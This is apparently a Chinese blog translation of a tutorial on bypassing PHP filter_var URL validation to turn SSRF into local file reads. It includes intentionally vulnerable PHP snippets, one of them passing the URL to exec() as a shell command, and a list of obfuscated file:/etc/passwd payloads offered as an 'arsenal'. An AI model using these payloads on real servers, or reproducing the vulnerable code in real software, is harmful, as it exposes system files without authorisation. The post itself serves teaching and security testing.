Part 1: SSRF -> 任意文件读取绕过新姿势
对于 SSRF,我在这里只对 LFR/LFD(本地文件读取/泄露)结果感兴趣,因此我使用了以下 3 种主要方法来在 PHP 中检索URL:
-
curl library
-
file_get_contents()
-
exec()
显然,对这些场景的利用如果没有任何验证或过滤就非常简单直接:
file:///etc/passwd
但我对简单验证的绕过感兴趣,比如由 filter_var() 提供的带有 FILTER_VALIDATE_URL 和 FILTER_FLAG_QUERY_REQUIRED 的验证,因为这些是验证 URL 的最基本方法,这是输入应该以合法方式传递给应用程序的内容。
因此,这是第一个存在漏洞的代码:
1<?php
2function curl($url) {
3 $optArray = array(
4 CURLOPT_URL => $url,
5 CURLOPT_FOLLOWLOCATION => 1
6 );
7 $ch = curl_init();
8 curl_setopt_array($ch, $optArray);
9 $response = curl_exec($ch) or die("Error!");
10 curl_close($ch);
11
12 return $response;
13}
14$content = curl(filter_var($_GET["url"], FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED));
15echo $content;
它应该按照以下方式工作:
正如您在下面所看到的,我们的默认有效载荷不起作用:
但是以下有效:
payload1:
file:/etc/passwd?/
请注意,甚至无需在 file 方案后使用三个斜杠。问号使其通过验证(模拟 URL 查询),需要在其后添加内容(非空查询)。
这个示例还接受了一种 URL 双重编码技巧,以帮助规避检测:
让我们进入我们的第二种方法,使用 file_get_contents():
1<?php
2$f = filter_var($_GET["url"], FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED) or die("Error!");
3echo file_get_contents($f);
再次,我们的默认有效载荷不起作用。
但是我们的新构造起作用。
payload2:
file:///etc/?/../passwd
再次,使用“?”使其通过验证,同时我们将其用作某个目录/文件夹的名称。然后,我们需要使用“/../”技巧来返回到“/etc/”。
对于我们的第三种情况,这是代码(暂时不考虑命令注入)
1<?php
2$url = filter_var($_GET["url"], FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED);
3exec('curl -L ' . $url, $content) or die("Error!");
4print_r($content);
5
使用默认有效载荷的虚拟尝试:
以及成功的尝试。
payload3:
file:/etc/passwd?/
这些与第一种情况相同,但它允许一些有趣的混淆技巧:
payload4:
1file:${br}/et${u}c/pas${te}swd?/
1因为 "${x}"(其中 "x" 可以是任何常规字符或字符串)是 Bash 中的变量替换,该变量必须不存在才能被简单丢弃在执行的命令中。也可以使用 "$(x)"。
所以到目前为止,这是我们要添加到你的 SSRF 武器库中的列表!
1file:/etc/passwd?/
2file:/etc/passwd%3F/
3file:/etc%252Fpasswd/
4file:/etc%252Fpasswd%3F/
5file:///etc/?/../passwd
6file:///etc/%3F/../passwd
7file:${br}/et${u}c/pas${te}swd?/
8file:$(br)/et$(u)c/pas$(te)swd?/
9file:${br}/et${u}c%252Fpas${te}swd?/
10file:$(br)/et$(u)c%252Fpas$(te)swd?/
11file:${br}/et${u}c%252Fpas${te}swd%3F/
12file:$(br)/et$(u)c%252Fpas$(te)swd%3F/
13file:///etc/passwd?/../passwd
这最后一个是适用于上述所有 3 种情况的 SSRF 多语言。
可以(或需要)对其他字符进行 URL 编码,如 ":"、"." 和 "/",这将稍微增加这个列表项。
期待下一篇 SSRF 新东西, 各位公众号粉丝宝宝,点点关注哦!
Thanks for https://rodoassis.medium.com/on-ssrf-server-side-request-forgery-or-simple-stuff-rodolfo-found-part-i-4edf7ee75389
Author: Rodolfo Assis
结语
公众号停更了不久,想起它时,是idea提示jetbrains激活码失效了,去公众号获取的时候发现渠道不行了,当然自己目前正在引入第三方更稳定的渠道在抢修,不过不得不感慨呀,做公益的话确实是吃力不讨好,只能说方便自己的同时也可能方便别人吧,挺好 !!
原文始发于微信公众号(一个不正经的黑客):Part 1: SSRF -> 任意文件读取绕过新姿势
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论